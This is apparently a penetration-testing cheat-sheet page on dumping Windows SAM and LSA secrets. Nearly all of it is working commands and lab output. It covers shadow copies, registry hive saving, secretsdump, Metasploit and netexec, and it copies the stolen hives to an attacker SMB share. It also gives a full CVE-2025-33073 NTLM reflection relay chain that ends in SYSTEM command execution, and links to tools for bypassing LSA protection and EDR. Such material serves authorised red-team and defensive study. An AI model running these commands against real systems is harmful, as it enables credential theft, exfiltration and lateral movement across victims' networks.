> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/sam-and-lsa-secrets.md).

# SAM & LSA secrets

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

{% hint style="info" %}
You need at least local admin privilege on the remote target, use option **--local-auth** if your user is a local account
{% endhint %}

<figure><img src="/files/nert8uaR4bQfRdyK0m1E" alt=""><figcaption></figcaption></figure>

## Shadow Copies / Snapshots

{% embed url="<https://labs.itresit.es/2025/06/11/remote-windows-credential-dump-with-shadow-snapshots-exploitation-and-detection/>" %}

### Enumerate the host for shadow copy volumes

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {00168<-SNIP->d07ca}
   Contained 1 shadow copies at creation time: 9/9/2019 3:10:57 AM
      Shadow Copy ID: {04639<-SNIP->b017ef}
         Original Volume: (C:)\\?\Volume{21385<-SNIP->0000}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: foo.bar.local
         Service Machine: foo.bar.local
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessible
         Attributes: Persistent, Client-accessible, No auto release, No writers, Differential
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cmd /c mklink /d C:\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
symbolic link created for C:\VSS <<===>> \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
*Evil-WinRM* PS C:\Users\Administrator\Desktop> download C:\\VSS\\windows\\system32\\config\\SAM
                                        
Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command
                                        
Info: Downloading C:\\VSS\\windows\\system32\\config\\SAM to SAM
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\Administrator\Desktop> download C:\\VSS\\windows\\system32\\config\\SYSTEM
                                        
Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command
                                        
Info: Downloading C:\\VSS\\windows\\system32\\config\\SYSTEM to SYSTEM
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\Administrator\Desktop> download C:\\VSS\\windows\\system32\\config\\SECURITY
                                        
Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command
                                        
Info: Downloading C:\\VSS\\windows\\system32\\config\\SECURITY to SECURITY
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\Administrator\Desktop> 
```

```
$ secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
```

With Mimikatz

{% embed url="<https://tools.thehacker.recipes/mimikatz/modules/misc/shadowcopies>" %}

## Step by step - Manual

* Create a Shadow Snapshot

```
wmic shadowcopy call create Volume='C:\'
```

```
C:\Users\peter>wmic /node:192.168.24.153 /user:peter /password:[***] shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{037BE7D1-2915-422A-B961-13065D469BE7}";
};


C:\Users\peter>
```

* Get the path listing them

```
vssadmin list shadows
[...]
Contents of shadow copy set ID: {5590bae6-9edc-4012-b58a-5ff54e937cae}
Contained 1 shadow copies at creation time: 03/06/2025 17:12:36
Shadow Copy ID: {6efd3825-90a8-465e-8205-f445f2775769}
Original Volume: (C:)\?\Volume{1d680c6d-69f7-4ad4-8177-b8240d0cf94c}\Shadow Copy Volume: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
[...]
```

* Access the Shadow Snapshot and navigate to *Windows\System32\Config*. One of the easiest methods was to use 7z, in latest versions it is not possible.

### Over SMB - Automation

Impacket -use-remoteSSMethod

```
impacket-secretsdump -use-remoteSSMethod “./Admin:1234@192.168.1.161”
```

## SAM

| Registry Hive   | Description                                                                                                                                                |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `hklm\sam`      | Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext. |
| `hklm\system`   | Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.                              |
| `hklm\security` | Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.                                        |

### Windows&#x20;

```cmd-session
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save

The operation completed successfully.
```

#### Transfer files&#x20;

Also see

{% content-ref url="/pages/VdH4oG0HRdKPhKMPMtsD" %}
[Download - Exfiltration](/0xss0rz/pentest/file-transfer/download-exfiltration.md)
{% endcontent-ref %}

```shell-session
$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

```cmd-session
C:\> move sam.save \\10.10.15.16\CompData
        1 file(s) moved.

C:\> move security.save \\10.10.15.16\CompData
        1 file(s) moved.

C:\> move system.save \\10.10.15.16\CompData
        1 file(s) moved.
```

#### esentutl.exe

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-sam-via-esentutl.exe>" %}

### **Secretsdump**

```shell-session
$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x4d8c7cff8a543fbf245a363d2ffce518
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3dd5a5ef0ed25b8d6add8b2805cce06b:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:683b72db605d064397cf503802b51857:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
sam:1002:aad3b435b51404eeaad3b435b51404ee:6f8c3f4d3869a10f3b4f0522f537fd33:::
rocky:1003:aad3b435b51404eeaad3b435b51404ee:184ecdda8cf1dd238d438c4aea4d560d:::
ITlocal:1004:aad3b435b51404eeaad3b435b51404ee:f7eb9c06fafaa23c4bcf22ba6781c1e2:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xb1e1744d2dc4403f9fb0420d84c3299ba28f0643
dpapi_userkey:0x7995f82c5de363cc012ca6094d381671506fd362
[*] NL$KM 
 0000   D7 0A F4 B9 1E 3E 77 34  94 8F C4 7D AC 8F 60 69   .....>w4...}..`i
 0010   52 E1 2B 74 FF B2 08 5F  59 FE 32 19 D6 A7 2C F8   R.+t..._Y.2...,.
 0020   E2 A4 80 E0 0F 3D F8 48  44 98 87 E1 C9 CD 4B 28   .....=.HD.....K(
 0030   9B 7B 8B BF 3D 59 DB 90  D8 C7 AB 62 93 30 6A 42   .{..=Y.....b.0jB
NL$KM:d70af4b91e3e7734948fc47dac8f606952e12b74ffb2085f59fe3219d6a72cf8e2a480e00f3df848449887e1c9cd4b289b7b8bbf3d59db90d8c7ab6293306a42
[*] Cleaning up... 
```

Only SAM and SYSTEM

```
secretsdump -sam SAM -system SYSTEM LOCAL
```

<figure><img src="/files/Q8meIEBmfTkjI8xIVGEg" alt=""><figcaption></figcaption></figure>

### Metasploit

{% content-ref url="/pages/dtkGhaNT9goTjNNZVnYQ" %}
[Metasploit](/0xss0rz/pentest/tools/metasploit.md)
{% endcontent-ref %}

```
meterpreter > hashdump
```

```
 meterpreter > lsa_dump_sam
```

### Netexec - CME

{% content-ref url="/pages/HNzpgVH5ZoVTvC3HBY9m" %}
[NetExec - CME](/0xss0rz/pentest/tools/netexec-cme.md)
{% endcontent-ref %}

```
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```

#### Local admin

```shell-session
$ crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

SMB         10.129.42.198   445    WS01      [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:WS01) (signing:False) (SMBv1:False)
SMB         10.129.42.198   445    WS01      [+] FRONTDESK01\bob:HTB_@cademy_stdnt! (Pwn3d!)
SMB         10.129.42.198   445    WS01      [+] Dumping SAM hashes
SMB         10.129.42.198   445    WS01      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.42.198   445    WS01     Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.42.198   445    WS01     DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.42.198   445    WS01     WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:72639bbb94990305b5a015220f8de34e:::
SMB         10.129.42.198   445    WS01     bob:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
SMB         10.129.42.198   445    WS01     sam:1002:aad3b435b51404eeaad3b435b51404ee:a3ecf31e65208382e23b3420a34208fc:::
SMB         10.129.42.198   445    WS01     rocky:1003:aad3b435b51404eeaad3b435b51404ee:c02478537b9727d391bc80011c2e2321:::
SMB         10.129.42.198   445    WS01     worker:1004:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
SMB         10.129.42.198   445    WS01     [+] Added 8 SAM hashes to the database
```

### Mimikatz

{% content-ref url="/pages/RyOH5l3XbYdEQwoowuVE" %}
[Mimikatz](/0xss0rz/pentest/tools/mimikatz.md)
{% endcontent-ref %}

### SilentSAM&#x20;

Leverage raw disk access and parsing the NTFS Master File Table (MFT)

{% embed url="<https://github.com/ryukk33/SilentSAM>" %}

### SAMDump

{% embed url="<https://github.com/ricardojoserf/SAMDump>" %}

### SharpSAMDump

{% embed url="<https://github.com/jojonas/SharpSAMDump>" %}

### CVE-2025-33073 - NTLM Reflection

{% hint style="danger" %}
*In the context of CVE-2025-33073, machines with SMB signing enforced were not affected by the vulnerability, even without Microsoft's patch.*
{% endhint %}

**Prerequisites:**

* The target machine hasn't applied the **June 10th update**
* **SMB signing is not required** (which is the default on Windows 10, Server 2022, and older builds of Windows 11)
* **Users can add DNS records** (default configuration)

**Exploitation:**

* Add a DNS record with a crafted name (`1UWhRCA...`)
* Launch `ntlmrelayx`
* Trigger a coercion attack like **PetitPotam**

```
$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14
```

{% embed url="<https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025>" %}

Other method:

{% embed url="<https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/>" %}

1 . Coercion

```
$ wspcoerce 'lab.redteam/user1:KojbyRyibdinWom)@client1.lab.redteam' \
    file:////client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/path
Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra

[*] Connected to IPC$
[*] Opened MsFteWds pipe
[*] Sent WSP Connect
[*] Sent WSP Query
[*] Sent WSP Disconnect
```

2. Answer local name resolution queries

```
$ sudo pretender -i eth1 --no-dhcp-dns --no-timestamps \
    --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA*'
Pretender by RedTeam Pentesting v1.3.2-74e629fcc5
Listening on interface: eth1
IPv4 relayed to: 192.168.56.11
IPv6 relayed to: fe80::a00:27ff:fe89:bdac
Answering queries for: *1uwhrcaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaybaaaa*

[mDNS] listening via UDP on [ff02::fb%eth1]:5353
[NetBIOS] listening via UDP on 192.168.56.255:137
[LLMNR] listening via UDP on [ff02::1:3%eth1]:5355
[mDNS] listening via UDP on 224.0.0.251:5353
[LLMNR] listening via UDP on 224.0.0.252:5355
[...]
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by 192.168.56.10 (client1.lab.redteam)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by 192.168.56.10 (PCSSystemtec)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by 192.168.56.10 (client1.lab.redteam)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by 192.168.56.10 (client1.lab.redteam)
```

3. Relay the ticket back to the victim

```
$ krbrelayx.py --target smb://client1.lab.redteam -c whoami
[...]
[*] SMBD: Received connection from 192.168.56.10
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Executed specified command on host: client1.lab.redteam
nt authority\system

[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

More PoC:

{% embed url="<https://github.com/mverschu/CVE-2025-33073>" %}

{% embed url="<https://github.com/Wh0am123/CVE-2025-54918-POC>" %}

Example:

{% embed url="<https://seriotonctf.github.io/Pwning-Reflection-Using-NTLM-Reflection/>" %}

### Cracking

{% content-ref url="/pages/5HMI5x51XIr5GBqw1pWM" %}
[Hashes](/0xss0rz/pentest/cracking/hashes.md)
{% endcontent-ref %}

#### Online

{% embed url="<https://ntlm.pw/>" %}

### Pass the Hash (PtH)

{% content-ref url="/pages/2nk7AOHO745kf6QdjHnB" %}
[Pass the Hash (PtH)](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-hash-pth.md)
{% endcontent-ref %}

## LSA

### Netexec - CME

{% content-ref url="/pages/HNzpgVH5ZoVTvC3HBY9m" %}
[NetExec - CME](/0xss0rz/pentest/tools/netexec-cme.md)
{% endcontent-ref %}

```shell-session
$ crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa

SMB         10.129.42.198   445    WS01     [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:FRONTDESK01) (signing:False) (SMBv1:False)
SMB         10.129.42.198   445    WS01     [+] WS01\bob:HTB_@cademy_stdnt!(Pwn3d!)
SMB         10.129.42.198   445    WS01     [+] Dumping LSA secrets
SMB         10.129.42.198   445    WS01     WS01\worker:Hello123
SMB         10.129.42.198   445    WS01      dpapi_machinekey:0xc03a4a9b2c045e545543f3dcb9c181bb17d6bdce
dpapi_userkey:0x50b9fa0fd79452150111357308748f7ca101944a
SMB         10.129.42.198   445    WS01     NL$KM:e4fe184b25468118bf23f5a32ae836976ba492b3a432deb3911746b8ec63c451a70c1826e9145aa2f3421b98ed0cbd9a0c1a1befacb376c590fa7b56ca1b488b
```

#### GMSA

If you found an account starting with *`SC_GMSA`*`{84A78B8C-56EE-465b-8496-FFB35A1B52A7`} you can get the account behind:

```
nxc ldap <ip> -u <user> -p <pass> --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
```

{% embed url="<https://www.netexec.wiki/ldap-protocol/extract-gmsa-secrets>" %}

### regsecrets.py

{% hint style="success" %}
*Opsec*&#x20;
{% endhint %}

{% embed url="<https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump>" %}

{% embed url="<https://github.com/fortra/impacket/pull/1898/commits/e8f437200248b641b3baa3ce48505232287150e3#diff-26356d84553992cfb9824fdbbc8bdbaf7afb9cb0248c3adfe40c0037899b6e5f>" %}

### Bypass LSA Protection (aka Protected Process Light)

{% embed url="<https://github.com/Leo4j/PPLKiller>" %}

## Bypass EDR

{% embed url="<https://github.com/AabyssZG/HashDump-BypassEDR>" %}

## Backup Operators Group

```
whoami /groups
```

{% content-ref url="/pages/0JuIBGgnkBTBoagEgA6o" %}
[Group Privileges](/0xss0rz/pentest/privilege-escalation/windows/group-privileges.md)
{% endcontent-ref %}

### Linux

```
smbserver.py -smb2support "someshare" "./"
```

```
# reg.py "internal.abc.local"/"user":'Password'@"192.168.210.16" save -keyName 'HKLM\SAM' -o '\\10.10.14.6\someshare'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa9373 - Copyright 2022 Fortra - forked by ThePorgs

[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SAM to \\10.10.14.6\someshare\SAM.save


# reg.py "internal.abc.local"/"user":'Password'@"192.168.210.16" save -keyName 'HKLM\SYSTEM' -o '\\10.10.14.6\someshare'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa9373 - Copyright 2022 Fortra - forked by ThePorgs

[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SYSTEM to \\10.10.14.6\someshare\SYSTEM.save

# reg.py "internal.abc.local"/"user":'Password'@"192.168.210.16" save -keyName 'HKLM\SECURITY' -o '\\10.10.14.6\someshare'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa9373 - Copyright 2022 Fortra - forked by ThePorgs

[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SECURITY to \\10.10.14.6\someshare\SECURITY.save
```

```
secretsdump.py -sam 'SAM.save' -security 'SECURITY.save' -system 'SYSTEM.save' LOCAL
```

### Windows

```cmd-session
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.
```

## Go-Secdump

{% embed url="<https://github.com/jfjallid/go-secdump>" %}

```
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
```

## Volatility3 - Hashdump

### Dump memory acquisition from victim host - With WinPmem or FTK Imager

{% embed url="<https://volatility3.readthedocs.io/en/latest/getting-started-windows-tutorial.html>" %}

{% embed url="<https://github.com/Velocidex/WinPmem/releases/>" %}

{% embed url="<https://cpuu.hashnode.dev/how-to-perform-memory-forensic-analysis-in-windows-11-using-volatility-3>" %}

### Hashdump / Lsadump

```
./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM)
./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry
./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets
```

{% embed url="<https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet#hashes-passwords>" %}

{% embed url="<https://youtu.be/utDjrceyy00>" %}

## Resources

{% embed url="<https://www.thehacker.recipes/a-d/movement/credentials/dumping/sam-and-lsa-secrets>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system>" %}

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* [**Pentesting Active Directory and Windows-based Infrastructure**](https://www.amazon.fr/dp/1804611360?tag=0xss0rz-21)\
  Enhance your skill set to pentest against real-world Microsoft infrastructure with hands-on exercises and by following attack/detect guidelines with OpSec considerations
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  Encompassing both external and internal enumeration techniques, the book delves into attacking routers and services, establishing footholds, privilege escalation, lateral movement, and exploiting databases and Active Directory.
* [**RTFM: Red Team Field Manual v2**](https://www.amazon.fr/dp/1075091837?tag=0xss0rz-21)\
  A quick reference when there is no time to scour the Internet for that perfect command
* [**Red Team Development and Operations: A practical guide**](https://www.amazon.fr/dp/B0842BMMCC?tag=0xss0rz-21)\
  The authors have moved beyond SANS training and use this book to detail red team operations in a practical guide.
* [**Cybersecurity Attacks – Red Team Strategies**](https://www.amazon.fr/dp/B0822G9PTM?tag=0xss0rz-21)\
  A practical guide to building a penetration testing program having homefield advantage

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